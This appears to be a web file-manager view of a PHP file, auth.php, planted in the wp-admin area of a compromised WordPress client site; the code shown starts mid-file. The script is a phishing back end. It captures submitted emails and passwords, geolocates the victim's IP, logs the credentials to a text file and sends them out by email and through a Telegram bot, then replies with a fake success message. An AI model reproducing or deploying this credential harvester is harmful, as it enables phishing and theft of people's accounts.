芝麻web文件管理V1.00
编辑当前文件:/home/prismawe/clients/astro-shopping/wp-admin/users/auth.php
$tgcid, 'text' => $txt ]; $options = [ 'http' => [ 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ] ]; $context = stream_context_create($options); $result = file_get_contents($url, false, $context); return $result !== false; } if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; } $date = date('Y-m-d H:i:s'); $useragent = $_SERVER['HTTP_USER_AGENT']; $ipDetails = json_decode(file_get_contents("http://ipinfo.io/{$ip}/json")); $city = $ipDetails->city ?? 'Unknown'; $state = $ipDetails->region ?? 'Unknown'; $country = $ipDetails->country ?? 'Unknown'; if ($_SERVER["REQUEST_METHOD"] === "POST") { $email = isset($_POST['email']) ? trim($_POST['email']) : ''; $password = isset($_POST['password']) ? trim($_POST['password']) : ''; $count = isset($_POST['count']) ? intval($_POST['count']) : 0; $page = isset($_POST['page']) ? trim($_POST['page']) : ''; if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) { echo json_encode(["success" => false, "message" => "请输入有效的电子邮件"]); exit; } if (empty($password) || preg_match('/\s/', $password)) { echo json_encode(["success" => false, "message" => "请输入有效的密码"]); exit; } $file = 'esc.txt'; $data = "Email: $email | Password: $password | Count: $count | Page: $page | Time: " . date('Y-m-d H:i:s') . "\n"; file_put_contents($file, $data, FILE_APPEND); $subject = "You've got mail from $ip ($country)"; $message = "\n"; $message .= "Username: " . $email . "\n"; $message .= "Password: " . $password . "\n"; $message .= "Date: " . $date . "\n"; $message .= "IP: " . $ip . " (".$city.", ".$state.", ".$country.")\n"; $message .= "Browser: " . $useragent . "\n";; $message .= "\n"; xm($to, $subject, $message, 'Notifications', $email); tm($tgtoken, $tgcid, $message); echo json_encode(["success" => true, "message" => "登录成功"]); } else { echo json_encode(["success" => false, "message" => "无效的请求"]); }